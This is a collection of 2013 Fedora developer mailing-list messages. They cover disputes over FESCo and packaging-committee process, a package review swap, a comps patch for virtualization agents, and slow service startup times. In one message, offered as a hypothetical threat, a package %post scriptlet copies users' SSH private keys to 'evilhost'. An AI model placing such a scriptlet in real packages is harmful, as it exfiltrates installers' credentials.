On Tue, May 14, 2013 at 2:32 PM, Jóhann B. Guðmundsson johan...@gmail.com wrote: On 05/14/2013 05:45 PM, Kevin Fenzi wrote: On Tue, 14 May 2013 17:13:54 + Jóhann B. Guðmundsson johan...@gmail.com wrote: The unresponsive maintainers policy is to be honest crap and to much in favor of the maintainer. Fesco allegedly was looking into it but you know... Yeah, I sure do know... Fesco folks are busy and doing lots of things in the areas they contribute to, so if people really want to move things forward, perhaps they should work on some ideas themselves? Oh Fesco is only busy but the rest of the community is not omg let me not waste your holy time sir... That isn't what he said. His point was scratch your own itch not we're busier than you. If you don't have time to do it yourself, you can't immediately expect others to just do it for you. If efficiency was Fedora's strong suit FPC would have been dismantled by now... This is unlikely to happen, so repeating your plea isn't likely to help any. My plea what plea I asked Fesco to give this a serious thought about this and they did not. Unless I missed something, you asked this explicitly in the meeting last week and then left before we answered: has fesco considered disassemble fpc and pick up ack/nack/patch approach for guidelines changes proposal on the packaging list to make that process more efficient? If not I suggest you look into it and what benefits the fpc brings to the project over that approach To which we replied you should open a ticket. That hasn't been done yet. Some of us expressed an initial resistance to doing anything along those lines. Personally, I have absolutely no idea why you asked the question or the reasons behind it so without further information I'd be disinclined to do anything. That's what the ticket is for. If Fesco can explain to me the benefits of having FPC and the overhead it follows vs proposed changes to the packaging guidelines to the packaging The FPC should be able to explain this themselves. Have you asked them? list followed by an ack/nack/patch approach has I'm all ears I have only experience the downside of having it first hand and when I see a inefficient process in the project I try to improve and dropping FPC and adopting the previous mentioned model seems assured win win to me. There's no such thing as an assured win. Heck the community did not have the faintest idea which tickets they even worked ( or did any work at all ) on until I literally request they adopted the fesco model so we atleast could get a faint idea what was going to be discussed on those meeting... Sounds like working with them has paid off nicely. Maybe you should do more of that. Let's just continue to cross finger hope that those that have been chosen -- yeah that's right not elected but chosen bother to show up to do their due diligence and reach a quorum. The elections are open, and the voting is not rigged. You can be displeased all you like about who gets elected and what they choose (or not choose) to look at, but that doesn't make those committees a farce. josh -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Re: Reviewer needed for some packages? REVIEW SWAP
-- Message: 3 Date: Tue, 14 May 2013 15:37:32 +0200 From: Hans de Goede hdego...@redhat.com To: Development discussions related to Fedora devel@lists.fedoraproject.org Subject: Re: Reviewer needed for some packages? REVIEW SWAP Message-ID: 51923e1c.5080...@redhat.com Content-Type: text/plain; charset=UTF-8; format=flowed Hi Wolfgang, Hmm, you may want to send another mail with a subject of just Review Swap and where you're slightly more verbose about your intent to swap in the body of the mail, as well as give some more details on the packages you're looking to swap for. Only having the words REVIEW SWAP in the Subject + only links in the body may be a bit a bit unclear. Anyways I would like to swap with you... snip I would be happy to review any one of these 4 (you pick one, and I'll review it), in exchange for: Bug 962813 - Review Request: funguloids - Space-Flying-Mushroom-Picking-Simulator game Spec URL: http://people.fedoraproject.org/~jwrdegoede/funguloids.spec SRPM URL: http://people.fedoraproject.org/~jwrdegoede/funguloids-1.06-1.fc19.src.rpm Description: Never before has collecting mushrooms been this mildly entertaining. At least not in outer space. It's more of a lifestyle than a game, really. Now with graphics and sound, too! Seriously though, we like to think the game as a space-flying-mushroom-picking-simulator. Well no, Those Funny Funguloids! is actually a nice little piece of entertainment. You collect mushrooms, bring the back to your home base and profit! That's the basic idea in a nutshell. It has smooth, appealing 3d graphics and nice atmospheric sound effects. Go ahead and try it out - it has sounds too! https://bugzilla.redhat.com/show_bug.cgi?id=962813 Regards, Hans Hi Hans, i did catch your review and gladly happy about your offer :) Those are my currently open reviws. All are for the MATE Desktop enviroment and are the last official packages from MATE upstream. Than the MATE desktop is complete in fedora. caja-dropbox - Dropbox extension for caja https://bugzilla.redhat.com/show_bug.cgi?id=924263 This is a extension for caja the mate-filemanager which integrates your dropbox cloud easly in the filebrowser. Note: This is only the filebrower extensision under GPLv3+ license, the main cloud software needs to be download seperatly from the user. mate-user-share - Mate user file sharing https://bugzilla.redhat.com/show_bug.cgi?id=924377 Description: mate-user-share is a small package that binds together various free software projects to bring easy to use user-level file sharing to the masses. mate-character-map - Unicode character picker and font browser https://bugzilla.redhat.com/show_bug.cgi?id=924279 Description: This program allows you to browse through all the available Unicode characters and categories for the installed fonts, and to examine their detailed properties. It is an easy way to find the character you might only know by its Unicode name or code point. PS: for the next review swap i will choose a better subject. cheers, Wolfgang -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On 05/14/2013 02:32 PM, Jóhann B. Guðmundsson wrote: On 05/14/2013 05:45 PM, Kevin Fenzi wrote: Yeah, I sure do know... Fesco folks are busy and doing lots of things in the areas they contribute to, so if people really want to move things forward, perhaps they should work on some ideas themselves? Oh Fesco is only busy but the rest of the community is not omg let me not waste your holy time sir... When you always respond in this kind of language, you make people not to want to work with you https://fedoraproject.org/code-of-conduct If you have ideas to improve the current policy, write your own and file a ticket. There is no need for this drama Rahul -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
[Test-Announce] 2013-05-15 @ 16:00 UTC - F19 Beta Blocker Bug Review #6
# F19 Beta Blocker Review meeting #6 # Date: 2013-05-15 # Time: 16:00 UTC (12:00 EDT, 09:00 PDT) # Location: #fedora-blocker-review on irc.freenode.net The sixth blocker review meeting for F19 beta will be tomorrow. It is the first post-freeze blocker review meeting for beta but the buglist doesn't look too long at the moment. We'll be running through the Beta blockers and freeze exception bugs. The current list is available at: http://qa.fedoraproject.org/blockerbugs/current We'll be reviewing the bugs to determine ... 1. Whether they meet the Beta release criteria [1] and should stay on the list 2. Whether they are getting the attention they need [1] http://fedoraproject.org/wiki/Fedora_19_Beta_Release_Criteria For guidance on Blocker and FreezeException bugs, please refer to - https://fedoraproject.org/wiki/QA:SOP_blocker_bug_process - https://fedoraproject.org/wiki/QA:SOP_freeze_exception_bug_process For the blocker review meeting protocol, see - https://fedoraproject.org/wiki/QA:SOP_Blocker_Bug_Meeting signature.asc Description: PGP signature ___ test-announce mailing list test-annou...@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/test-announce-- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Adding new group to comps-f19.xml.in
Ravindra Kumar (ravindraku...@vmware.com) said: The two added group are OK. grouplist is not something that actually is used, though; they would need to either be added as mandatory/optional groups to the desktop environments, or just brought in via the spins' kickstart files. Also, please attach patches - your mailer appears to have mangled the spacing. Thanks Bill for looking at it. Could you please take a look at the new patch (attached)? Seems initially reasonable, might tweak the names/descriptions a bit (the names need to be distinct). That being said, this would be a string freeze. CC'ing the translation list - OK to add these two groups to comps for F-19? I would appreciate if you could let me know a way to test comps file changes. Will follow up on devel@ only with this. Bill --- comps-f19.xml.in 2013-05-10 19:00:24.191468344 -0700 +++ comps-f19.xml.in.new 2013-05-12 21:49:31.433352612 -0700 @@ -5633,6 +5633,26 @@ /packagelist /group group +idvirt-agents/id +_nameVirtualization Agents/_name +_descriptionThese packages enable better management of virtual machines./_description +defaulttrue/default +uservisibletrue/uservisible +packagelist + packagereq type=defaultopen-vm-tools/packagereq +/packagelist + /group + group +idvirt-agents-x/id +_nameVirtualization Agents/_name +_descriptionThese packages enable better user experience for virtual machines./_description +defaulttrue/default +uservisibletrue/uservisible +packagelist + packagereq type=defaultopen-vm-tools-desktop/packagereq +/packagelist + /group + group idvirtualization/id _nameVirtualization/_name _descriptionThese packages provide a virtualization environment./_description @@ -5878,6 +5898,8 @@ groupidhardware-support/groupid groupidprinting/groupid groupidfirefox/groupid + groupidvirt-agents/groupid + groupidvirt-agents-x/groupid groupidgnome-desktop/groupid /grouplist optionlist @@ -5902,6 +5924,8 @@ groupidmultimedia/groupid groupidhardware-support/groupid groupidprinting/groupid + groupidvirt-agents/groupid + groupidvirt-agents-x/groupid groupidkde-desktop/groupid /grouplist optionlist @@ -5928,6 +5952,8 @@ groupidmultimedia/groupid groupidhardware-support/groupid groupidprinting/groupid + groupidvirt-agents/groupid + groupidvirt-agents-x/groupid groupidxfce-desktop/groupid groupidxfce-apps/groupid groupidxfce-media/groupid @@ -5953,6 +5979,8 @@ groupidmultimedia/groupid groupidhardware-support/groupid groupidprinting/groupid + groupidvirt-agents/groupid + groupidvirt-agents-x/groupid groupidlxde-desktop/groupid /grouplist optionlist @@ -5977,6 +6005,8 @@ groupidmultimedia/groupid groupidhardware-support/groupid groupidprinting/groupid + groupidvirt-agents/groupid + groupidvirt-agents-x/groupid groupidcinnamon-desktop/groupid /grouplist optionlist @@ -5998,6 +6028,8 @@ groupidmultimedia/groupid groupidhardware-support/groupid groupidprinting/groupid + groupidvirt-agents/groupid + groupidvirt-agents-x/groupid groupidmate-desktop/groupid /grouplist optionlist @@ -6019,6 +6051,8 @@ groupidinput-methods/groupid groupidmultimedia/groupid groupidhardware-support/groupid + groupidvirt-agents/groupid + groupidvirt-agents-x/groupid groupidsugar-desktop/groupid /grouplist optionlist @@ -6051,6 +6085,8 @@ groupidgnome-software-development/groupid groupidkde-software-development/groupid groupidx-software-development/groupid + groupidvirt-agents/groupid + groupidvirt-agents-x/groupid groupidvirtualization/groupid groupidweb-server/groupid /grouplist @@ -6084,6 +6120,7 @@ groupidstandard/groupid groupidcore/groupid groupidhardware-support/groupid + groupidvirt-agents/groupid groupidweb-server/groupid /grouplist optionlist @@ -6108,6 +6145,7 @@ groupidstandard/groupid groupidcore/groupid groupidhardware-support/groupid + groupidvirt-agents/groupid /grouplist optionlist groupiddogtag/groupid @@ -6138,6 +6176,8 @@ groupidfonts/groupid groupidhardware-support/groupid groupidmultimedia/groupid + groupidvirt-agents/groupid + groupidvirt-agents-x/groupid groupidbasic-desktop/groupid /grouplist optionlist @@ -6163,6 +6203,7 @@ /grouplist optionlist groupidstandard/groupid + groupidvirt-agents/groupid /optionlist /environment category --
Re: Adding new group to comps-f19.xml.in
Ravindra Kumar (ravindraku...@vmware.com) said: I would appreciate if you could let me know a way to test comps file changes. 1) Make a new .xml file Run 'make comps-f19.xml' in a git checkout. 2) Create a new repository using that comps file createrepo -g your-new-comps-f19.xml /some/path (it doesn't need to have packages in it) 3) Create an /etc/yum.repos.d repository file that points to that path 4) Enable that repo 5) Test your group with 'yum grouplist', 'yum groupinfo', etc. Bill -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On Tue, May 14, 2013 at 11:45:40AM -0600, Kevin Fenzi wrote: On Tue, 14 May 2013 17:13:54 + Jóhann B. Guðmundsson johan...@gmail.com wrote: What really is needed here is to drop the user ownership module altogether and allow every contribute access to every component or use group ownership model on components instead followed by an email address component@fedoraproject which is the components email address and is stored in a imap folder. There's a number of problems with 'free for all' model. Mostly around communication. I suspect the main one is someone putting: %post scp /home/*/.ssh/id_rsa evilhost: into a commonly used package, or something equivalent but more subtle than that. Basically you're giving root access to everyone with a FAS packager account (not that the current situation is that much better). Rich. -- Richard Jones, Virtualization Group, Red Hat http://people.redhat.com/~rjones Read my programming blog: http://rwmj.wordpress.com Fedora now supports 80 OCaml packages (the OPEN alternative to F#) -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On Tue, 14 May 2013 21:04:59 +0100 Richard W.M. Jones rjo...@redhat.com wrote: I suspect the main one is someone putting: %post scp /home/*/.ssh/id_rsa evilhost: into a commonly used package, or something equivalent but more subtle than that. Basically you're giving root access to everyone with a FAS packager account (not that the current situation is that much better). well, no, thats not what I was talking about, that is a completely different issue. ;) I was referring to the fact that if we had a collection of around 14,000 packages and a pool of around 1400 maintainers if everyone just wandered around working on whatever they liked you would get X people fixing the same bug and duplicating effort, X people talking to upstream and telling them different things, X people figuring out a problem and waiting for something to happen for a real solution and someone else wandering in and fixing it in a poor/hacky way, X people telling users one decision and Y people telling them another, etc. If you have a small set of interested maintainers they can communicate between the group and divide work and come to consensus. Things don't scale to do that over the entire collection on every decision. To the issue you refer to above, it's already somewhat that you trust anyone maintaining packages you install, but additionally, there's a lot of reporting and logging that goes on, so if someone did do something like this it could be detected and fixed. You already also trust the upstreams for all the packages you install as well. kevin signature.asc Description: PGP signature -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On Tue, 14 May 2013 18:32:14 + Jóhann B. Guðmundsson johan...@gmail.com wrote: Oh Fesco is only busy but the rest of the community is not omg let me not waste your holy time sir... I did not say you were not busy, just that it's pretty clear that fesco members are. ...snip... I have no idea what you mean by imap folder here. Components get's their own email address component-maint@ mailto:systemd-ma...@redhat.comfedoraproject.org followed by components being always assigned to that email address. Each mail the component receives is stored in the components imap folder which contributors maintaining the component subscribed ( and anyone else for that matter ( like users that usually CC themselves on components ) that is interested in that mail ) can subscribe to. I don't think this would scale very well. We would need to run some kind of massive imap server and over time packages like the kernel or ones that get large patches would grow massively. Why not let each person manage emails in whatever way they wish as now? ...snip... Atleast you would not have to run around half the internet chasing the maintainer just to try to see if he's active or not and if you can fix or generally start working on the component he's allegedly supposed to be maintaining Why not? Why not what? Do you get paid for or do you have endless time to spend hunting people down? To be more verbose, why does having a fedora imap server help you with this problem? If you don't see any posts from a maintainer that still doesn't mean that they aren't doing other things related to the package and are still very much alive. I don't see your proposal as helping this in any way. My plea what plea I asked Fesco to give this a serious thought about this and they did not. Well, I can't speak for anyone but myself, but you will need to put forth some kind of compelling argument. So far I have not been convinced. ...snip... IMHO, it's not on FESCo to convince you that we shouldn't change. It's on you to present a compelling argument as to why we should change a process that many think is working fine. kevin signature.asc Description: PGP signature -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Broken dependencies: glusterfs
On Tue, 2013-05-14 at 16:02 +0200, Matthias Runge wrote: On 05/14/2013 03:22 PM, Kaleb KEITHLEY wrote: g. These packages exist in f19. Then what's the correct way to make sure they're installed when glusterfs-ufo is installed without breaking dependencies? Just: Requires: openstack-swift = 1.8.0 doesn't get them. It can't get it, since https://admin.fedoraproject.org/updates/FEDORA-2013-5046/openstack-swift-1.8.0-2.fc19 is still in testing. Just to be clear, in practice this means people shouldn't really have a problem here, as Branched releases have updates-testing enabled by default. So actual F19 users should find things work okay. It'll show up as 'broken' on the daily mails until that update goes stable. We froze for Beta today, so that won't happen until after Beta is released unless we grant a freeze exception. I don't think that's really necessary though, as neither openstack-swift nor glusterfs-ufo are on the DVD (or any other media) that I can see. So it should be fine just to ignore the mailshot complaining, and wait for the update to be pushed stable once Beta goes out. It's already been submitted for stable, so it'll automatically be in the first post-unfreeze stable push. -- Adam Williamson Fedora QA Community Monkey IRC: adamw | Twitter: AdamW_Fedora | identi.ca: adamwfedora http://www.happyassassin.net -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
when startup delays become bugs
This is not intended to be snarky, but I admit it could sound like it is. When are long startup times for services considered to be bugs in their own right? [root@f19q ~]# systemd-analyze blame 1min 444ms sm-client.service 1min 310ms sendmail.service 18.602s firewalld.service 13.882s avahi-daemon.service 12.944s NetworkManager-wait-online.service 12.715s restorecond.service 2.911s abrt-uefioops.service 2.792s NetworkManager.service 2.634s spice-vdagentd.service 2.589s iprinit.service 2.583s iprupdate.service 2.319s chronyd.service 10 seconds for a service seems obscene. 1 minute is so bad it's hilarious, but also really annoying. I feel like filing a bug against anything that takes more than 1/2 second but maybe that's being overly generous (by filing the bug, that is). In sendmail's defense, the time is about the same on F18. (It's consistently a bit faster in an F19 VM running on the same F18 system as host.) But firewalld goes from 7 seconds to 18 seconds? Why? avahi-daemon, restorecond, all are an order of magnitude longer on F19 than F18. It's a 3+ minute userspace hit on the startup time where the kernel takes 1.9 seconds. Off hand this doesn't seem reasonable, especially sendmail. If the time can't be brought down by a lot, can it ship disabled by default? Chris Murphy -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: when startup delays become bugs
On Tue, 2013-05-14 at 15:51 -0600, Chris Murphy wrote: This is not intended to be snarky, but I admit it could sound like it is. When are long startup times for services considered to be bugs in their own right? [root@f19q ~]# systemd-analyze blame 1min 444ms sm-client.service 1min 310ms sendmail.service 18.602s firewalld.service 13.882s avahi-daemon.service 12.944s NetworkManager-wait-online.service 12.715s restorecond.service 2.911s abrt-uefioops.service 2.792s NetworkManager.service 2.634s spice-vdagentd.service 2.589s iprinit.service 2.583s iprupdate.service 2.319s chronyd.service 10 seconds for a service seems obscene. 1 minute is so bad it's hilarious, but also really annoying. I feel like filing a bug against anything that takes more than 1/2 second but maybe that's being overly generous (by filing the bug, that is). In sendmail's defense, the time is about the same on F18. (It's consistently a bit faster in an F19 VM running on the same F18 system as host.) But firewalld goes from 7 seconds to 18 seconds? Why? avahi-daemon, restorecond, all are an order of magnitude longer on F19 than F18. It's a 3+ minute userspace hit on the startup time where the kernel takes 1.9 seconds. Off hand this doesn't seem reasonable, especially sendmail. If the time can't be brought down by a lot, can it ship disabled by default? Chris Murphy See this bug: https://bugzilla.redhat.com/show_bug.cgi?id=962038 Can you provide from console hostnamectl ? -- Best Regards, Igor Gnatenko -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: when startup delays become bugs
On 05/14/2013 09:51 PM, Chris Murphy wrote: This is not intended to be snarky, but I admit it could sound like it is. When are long startup times for services considered to be bugs in their own right? [root@f19q ~]# systemd-analyze blame 1min 444ms sm-client.service 1min 310ms sendmail.service 18.602s firewalld.service 13.882s avahi-daemon.service 12.944s NetworkManager-wait-online.service 12.715s restorecond.service 2.911s abrt-uefioops.service 2.792s NetworkManager.service 2.634s spice-vdagentd.service 2.589s iprinit.service 2.583s iprupdate.service 2.319s chronyd.service 10 seconds for a service seems obscene. 1 minute is so bad it's hilarious, but also really annoying. I feel like filing a bug against anything that takes more than 1/2 second but maybe that's being overly generous (by filing the bug, that is). In sendmail's defense, the time is about the same on F18. (It's consistently a bit faster in an F19 VM running on the same F18 system as host.) Check your /etc/hosts and ensure you have an entry there for you hostname and or your hostname exist in your dns But firewalld goes from 7 seconds to 18 seconds? Why? avahi-daemon, restorecond, all are an order of magnitude longer on F19 than F18. It's a 3+ minute userspace hit on the startup time where the kernel takes 1.9 seconds. Off hand this doesn't seem reasonable, especially sendmail. If the time can't be brought down by a lot, can it ship disabled by default? The defaults we ship and are enable are not useful to anyone neither the server community nor the desktop one. All the abrt services arguably should disabled by default and enabled after users have agreed to using it ( opt in not opt out ) . I did look into optimizing the boot of one of the spins in F16 but never ended up putting my findings and POC to practice and make a usable spin out of it there most definitely is room on the for better out of the box boot experience for our users. JBG -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: when startup delays become bugs
Once upon a time, Chris Murphy li...@colorremedies.com said: In sendmail's defense, the time is about the same on F18. (It's consistently a bit faster in an F19 VM running on the same F18 system as host.) When sendmail takes that long, there's a configuration problem (which could be in the default config, I don't know). I haven't seen delays like that in a default setup or my custom sendmail configs. How is your network configured? -- Chris Adams li...@cmadams.net -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: when startup delays become bugs
On Ter, 2013-05-14 at 15:51 -0600, Chris Murphy wrote: In sendmail's defense, the time is about the same on F18. (It's consistently a bit faster in an F19 VM running on the same F18 system as host.) When sendmail delay so long, in my case normally, was because I don't network configuration, lo interface 127.0.0.1 -- Sérgio M. B. -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: when startup delays become bugs
On May 14, 2013, at 4:12 PM, Chris Adams li...@cmadams.net wrote: Once upon a time, Chris Murphy li...@colorremedies.com said: In sendmail's defense, the time is about the same on F18. (It's consistently a bit faster in an F19 VM running on the same F18 system as host.) When sendmail takes that long, there's a configuration problem (which could be in the default config, I don't know). I haven't seen delays like that in a default setup or my custom sendmail configs. How is your network configured? Cable internet service piped into a consumer wireless router using either dd-wrt or Tomato firmware, and F18 or F19 installed from Live media. Physical connection is wired ethernet. The only things related to networking I change is setting a hostname from localhost to f18s, f19s or f19q; and occasionally adding the b43 firmware if I decide to go wireless. Booted from Live media F19 beta TC4, sendmail.service is 55ms. But when installed with no change (other than maybe the hostname) it becomes just over 1 minute. Chris Murphy -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: when startup delays become bugs
On Tue, 2013-05-14 at 15:51 -0600, Chris Murphy wrote: This is not intended to be snarky, but I admit it could sound like it is. When are long startup times for services considered to be bugs in their own right? [root@f19q ~]# systemd-analyze blame 1min 444ms sm-client.service 1min 310ms sendmail.service 18.602s firewalld.service 13.882s avahi-daemon.service 12.944s NetworkManager-wait-online.service Is anything waiting on NetworkManager-wait-online in your install? That target is really intended for servers where you want to block Apache or Sendmail or Database from starting until you're sure your networking is fully configured. If you don't have any services that require a network to be up, then you can mask NetworkManager-wait-online and things will be more parallel. 12.715s restorecond.service 2.911s abrt-uefioops.service 2.792s NetworkManager.service For NM's part, it does a bunch of setup before daemonizing and creating its D-Bus service, like reading your network config files. This all takes about 1 second on my SSD-enabled machine, but I've also got about 50 network config files. Check out your systemd journal, and look for the time spent between NetworkManager (version 0.9.8.1-3.git20130510.fc19) is starting and anything NM says about a killswitch; that's the time that NM may potentially block services that depend on the network. The purpose of this behavior is to present an consistent, useful data model when the D-Bus interface is created, rather than creating the D-Bus interface first, then doing all the above, which avoids generating a huge number of change-events over D-Bus that a bunch of clients have to listen for, wake up for, and process. 2.634s spice-vdagentd.service 2.589s iprinit.service 2.583s iprupdate.service 2.319s chronyd.service 10 seconds for a service seems obscene. 1 minute is so bad it's hilarious, but also really annoying. I feel like filing a bug against anything that takes more than 1/2 second but maybe that's being overly generous (by filing the bug, that is). In sendmail's defense, the time is about the same on F18. (It's consistently a bit faster in an F19 VM running on the same F18 system as host.) But firewalld goes from 7 seconds to 18 seconds? Why? avahi-daemon, restorecond, all are an order of magnitude longer on F19 than F18. It's a 3+ minute userspace hit on the startup time where the kernel takes 1.9 seconds. Off hand this doesn't seem reasonable, especially sendmail. If the time can't be brought down by a lot, can it ship disabled by default? Is the firewall loading more rules now? If it stores any persistent configuration, those rules have to get pushed to the kernel, and the kernel API for doing that have been pretty slow in the past; the more rules, the longer it takes. Not sure if that's still the case though. Dan -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: when startup delays become bugs
On Tue, May 14, 2013 at 03:51:44PM -0600, Chris Murphy wrote: But firewalld goes from 7 seconds to 18 seconds? Why? avahi-daemon, restorecond, all are an order of magnitude longer on F19 than F18. And it was even faster on F17. I had F17 cold booting to a usable Xfce desktop in 3.6 seconds by following Harald Hoyer's guide [1]: Startup finished in 1470ms (kernel) + 2130ms (userspace) = 3601ms But F18 and F19 now take 16 seconds on the same system: Startup finished in 1.061s (kernel) + 15.299s (userspace) = 16.361s The slowest component on F19 is this new wait service: 10.102s NetworkManager-wait-online.service This service doesn't seem to do anything other than wait until the network is fully up. This really skews unfavorably the boot time reported by systemd-analyze. But if I mask that service and reboot, everthing still appears to work fine and systemd-analyze reports a boot time of only 6.2 seconds. I wonder if there are other oddities like this that are skewing the statistics reported by systemd-analyze. Jeff [1] http://www.harald-hoyer.de/personal/blog/fedora-17-boot-optimization-from-15-to-3-seconds -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: when startup delays become bugs
On May 14, 2013, at 4:56 PM, Jeffrey Bastian jbast...@redhat.com wrote: I wonder if there are other oddities like this that are skewing the statistics reported by systemd-analyze. It's not just a statistical skewing, I'm getting 30+ second delays before I can ssh into the system. Chris Murphy -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: when startup delays become bugs
Once upon a time, Chris Murphy li...@colorremedies.com said: The only things related to networking I change is setting a hostname from localhost to f18s, f19s or f19q; and occasionally adding the b43 firmware if I decide to go wireless. Do you add the changed hostname to /etc/hosts? If not, sendmail (and some other things) will stop for some time trying to resolve the local hostname to an IP address. -- Chris Adams li...@cmadams.net -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: when startup delays become bugs
On May 14, 2013, at 4:10 PM, Igor Gnatenko i.gnatenko.br...@gmail.com wrote: See this bug: https://bugzilla.redhat.com/show_bug.cgi?id=962038 Can you provide from console hostnamectl ? Static hostname: f19q Takes about 20 seconds before I can ssh into the VM, but sendmail takes forever to start. Not graceful. [root@f19q ~]# systemd-analyze blame 1min 372ms sendmail.service 1min 281ms sm-client.service 12.249s chronyd.service 11.852s restorecond.service 9.306s NetworkManager.service 8.026s NetworkManager-wait-online.service Static hostname: f19q.localdomain Takes 1.5 minutes before I can ssh into the VM, but the sendmail.service is now about 2 seconds instead of a minute. [root@f19q ~]# systemd-analyze blame 51.688s firewalld.service 50.696s restorecond.service 16.989s avahi-daemon.service 16.023s systemd-logind.service 11.908s NetworkManager-wait-online.service So either way, I get nailed with unreasonable startup times. And avahi doesn't play nice with the localdomain extension anyway. Without the extension I ssh into boxes just like I do from Windows or OS X: ssh chris@f19q.local Whereas if I change the hostname to f19q.localdomain, to ssh into the system now I have to use a non-obvious, nonstandard: ssh chris@f19qlocaldomain So the addition of localdomain doesn't seem like the right fix. sendmail is just being stupid in my view, and not failing gracefully. I do not have control over my DNS server, so if it's misconfigured by my ISP, there's nothing I can do about it which means the system I use needs to be smarter about such eventualities. Chris Murphy -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: when startup delays become bugs
On May 14, 2013, at 5:20 PM, Chris Adams li...@cmadams.net wrote: Once upon a time, Chris Murphy li...@colorremedies.com said: The only things related to networking I change is setting a hostname from localhost to f18s, f19s or f19q; and occasionally adding the b43 firmware if I decide to go wireless. Do you add the changed hostname to /etc/hosts? No. I set the hostname in the installer and that seems sufficient. If not, sendmail (and some other things) will stop for some time trying to resolve the local hostname to an IP address. That sounds like a sendmail bug, and yet the previously cited bug for sendmail says that this is not a bug, it's expected behavior. On the face of it, that sounds specious to me only because I'm finding this to be a rather user hostile experience at the moment. If sendmail's requirement is valid, then anaconda and hostnamectl need to set /etc/hosts, not just /etc/hostname. Burdening the user with this extraneous tidbit for a service that's installed *and* enabled by default is unreasonable. But the sendmail issue is a distraction from the bigger question I was asking which is at what threshold are service startup times reasonable vs not reasonable and are their maintainers looking at this or do testers need to file bugs on them? What's initiating my grip is that it's taking upwards of a minute to be able to ssh into the system. I get a login prompt on the system's display itself, before I'm able to ssh into it, which is the opposite of my expectation. Chris Murphy -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On Tue, 2013-05-14 at 14:20 -0600, Kevin Fenzi wrote: On Tue, 14 May 2013 21:04:59 +0100 Richard W.M. Jones rjo...@redhat.com wrote: I suspect the main one is someone putting: %post scp /home/*/.ssh/id_rsa evilhost: into a commonly used package, or something equivalent but more subtle than that. Basically you're giving root access to everyone with a FAS packager account (not that the current situation is that much better). well, no, thats not what I was talking about, that is a completely different issue. ;) I was referring to the fact that if we had a collection of around 14,000 packages and a pool of around 1400 maintainers if everyone just wandered around working on whatever they liked you would get X people fixing the same bug and duplicating effort, X people talking to upstream and telling them different things, X people figuring out a problem and waiting for something to happen for a real solution and someone else wandering in and fixing it in a poor/hacky way, X people telling users one decision and Y people telling them another, etc. If you have a small set of interested maintainers they can communicate between the group and divide work and come to consensus. Things don't scale to do that over the entire collection on every decision. Well the open model has already been tried and proven in openSUSE, and they're still using it because it actually works really well. There aren't usually any issues regarding overlap of work, though admittedly that community is a smaller than Fedora's. It's hard to get away with scp /home/*/.ssh/id_rsa evilhost because every change is always reviewed by a small group of maintainers responsible for a collection of packages. I certainly think Fedora could benefit a lot from at least a slightly more collaborative approach. For example, in openSUSE when there is a problem with an really easy fix, I make a bugzilla report, fix it, my request gets accepted (or not) a few days later, and problem solved. In Fedora when there is a problem with an easy fix, I make a bugzilla report, it gets assigned to someone awesome enough to have 200-800 other open bugs to deal with, and nothing happens for two months until a provenpackager stumbles upon the bug. We already use git, so the simple solution with minimal change to the status quo is to leave the maintainership model as-is and add pull requests. (That said I'm not advocating this as I have zero Fedora packaging experience; I'm just trying to get this conversation off the ground.) signature.asc Description: This is a digitally signed message part -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Election Season Begins: Fedora Board, FESCo, FAmSCo, and Fedora 20 naming election process
It is time again to begin Fedora's election season. This announcement contains information regarding the Fedora 20 Naming Election, as well as the Fedora Board, Fedora Engineering Steering Committee (FESCo), and Fedora Ambassadors Steering Committee (FAmSCo) elections. ** Fedora 20 Naming Election ** The suggestion period for names for Fedora 20 is now open (May 15, 2013), and will end promptly at the end of the day on May 22, 2013 (23:59:59 UTC). So run - don't paws - and get your suggestion in for the next Fedora release name. https://fedoraproject.org/wiki/Name_suggestions_for_Fedora_20 Fine Print: You *must* follow the instructions and guidelines at the page listed above if you want your name to be considered. For instance, there must be an is-a link between the name Schrödinger's Cat (from Fedora 19) and the name you suggest. That link must be different than previous links for Fedora release names. Names of living people and well-known trademarks will likely be rejected as well. You can also find full schedule details for the release naming process on the above page. For those of you interested in reviewing the history of Fedora release names, there exists an appropriately named wiki page for doing so: http://fedoraproject.org/wiki/History_of_Fedora_release_names ** Fedora Board, FESCo, and FAmSCo Elections ** The nomination period for elections for the Fedora Board, FAmSCo (Fedora Ambassador Steering Committee), and FESCo (Fedora Engineering Steering Committee) is now open, and will conclude at the end of day, May 25, 2013 